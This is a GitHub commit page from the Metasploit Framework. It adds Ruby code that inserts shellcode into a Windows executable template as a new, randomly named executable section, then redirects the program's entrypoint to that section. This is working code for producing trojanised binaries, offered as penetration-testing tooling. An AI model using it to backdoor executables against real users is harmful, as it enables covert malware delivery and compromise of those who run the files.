Skip to content

Commit 0a4a72f

Browse files
author
HD Moore
committed
Support templates with small text sections (win32)
1 parent b9b40ed commit 0a4a72f

File tree

2 files changed

+78
-7
lines changed

2 files changed

+78
-7
lines changed

lib/msf/core/exe/segment_appender.rb

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# -*- coding: binary -*-
2+
module Msf
3+
module Exe
4+
5+
require 'metasm'
6+
require 'msf/core/exe/segment_injector'
7+
8+
class SegmentAppender < SegmentInjector
9+
10+
def payload_stub(prefix)
11+
# TODO: Implement possibly helpful payload obfuscation
12+
asm = "new_entrypoint:\n#{prefix}\n"
13+
shellcode = Metasm::Shellcode.assemble(processor, asm)
14+
shellcode.encoded + @payload
15+
end
16+
17+
def generate_pe
18+
# Copy our Template into a new PE
19+
pe_orig = Metasm::PE.decode_file(template)
20+
pe = pe_orig.mini_copy
21+
22+
# Copy the headers and exports
23+
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
24+
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
25+
pe.header.time = pe_orig.header.time
26+
27+
# Don't rebase if we can help it since Metasm doesn't do relocations well
28+
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
29+
30+
# TODO: Look at supporting DLLs in the future
31+
prefix = ''
32+
33+
# Create a new section
34+
s = Metasm::PE::Section.new
35+
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
36+
s.encoded = payload_stub prefix
37+
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
38+
39+
pe.sections << s
40+
pe.invalidate_header
41+
42+
# Change the entrypoint to our new section
43+
pe.optheader.entrypoint = 'new_entrypoint'
44+
pe.cpu = pe_orig.cpu
45+
46+
pe.encode_string
47+
end
48+
49+
end
50+
end
51+
end

lib/msf/util/exe.rb

Lines changed: 27 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ class EXE
1818
require 'metasm'
1919
require 'digest/sha1'
2020
require 'msf/core/exe/segment_injector'
21+
require 'msf/core/exe/segment_appender'
2122

2223
##
2324
#
@@ -198,19 +199,25 @@ def self.to_win32pe(framework, code, opts = {})
198199
return injector.generate_pe
199200
end
200201

202+
203+
# dead, dead code.
204+
201205
raise RuntimeError, "No .text section found in the template" unless text
202206

203207
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
204208
raise RuntimeError, "The .text section does not contain an entry point"
205209
end
206210

207211
p_length = payload.length + 256
212+
213+
# If the .text section is too small, append a new section instead
208214
if text.size < p_length
209-
fname = ::File.basename(opts[:template])
210-
msg = "The .text section for '#{fname}' is too small. "
211-
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
212-
"#{text.size.to_s} bytes"
213-
raise RuntimeError, msg
215+
appender = Msf::Exe::SegmentAppender.new({
216+
:payload => code,
217+
:template => opts[:template],
218+
:arch => :x86
219+
})
220+
return appender.generate_pe
214221
end
215222

216223
# Store some useful offsets
@@ -506,7 +513,8 @@ def self.to_win32pe_exe_sub(framework, code, opts = {})
506513
def self.to_win64pe(framework, code, opts = {})
507514
# Allow the user to specify their own EXE template
508515
set_template_default(opts, "template_x64_windows.exe")
509-
#try to inject code into executable by adding a section without affecting executable behavior
516+
517+
# Try to inject code into executable by adding a section without affecting executable behavior
510518
if opts[:inject]
511519
injector = Msf::Exe::SegmentInjector.new({
512520
:payload => code,
@@ -515,8 +523,20 @@ def self.to_win64pe(framework, code, opts = {})
515523
})
516524
return injector.generate_pe
517525
end
526+
518527
opts[:exe_type] = :exe_sub
519-
exe_sub_method(code,opts)
528+
return exe_sub_method(code,opts)
529+
530+
#
531+
# TODO: 64-bit support is currently failing to stage
532+
#
533+
# Append a new section instead
534+
# appender = Msf::Exe::SegmentAppender.new({
535+
# :payload => code,
536+
# :template => opts[:template],
537+
# :arch => :x64
538+
# })
539+
# return appender.generate_pe
520540
end
521541

522542
# Embeds shellcode within a Windows PE file implementing the Windows

0 commit comments

Comments
 (0)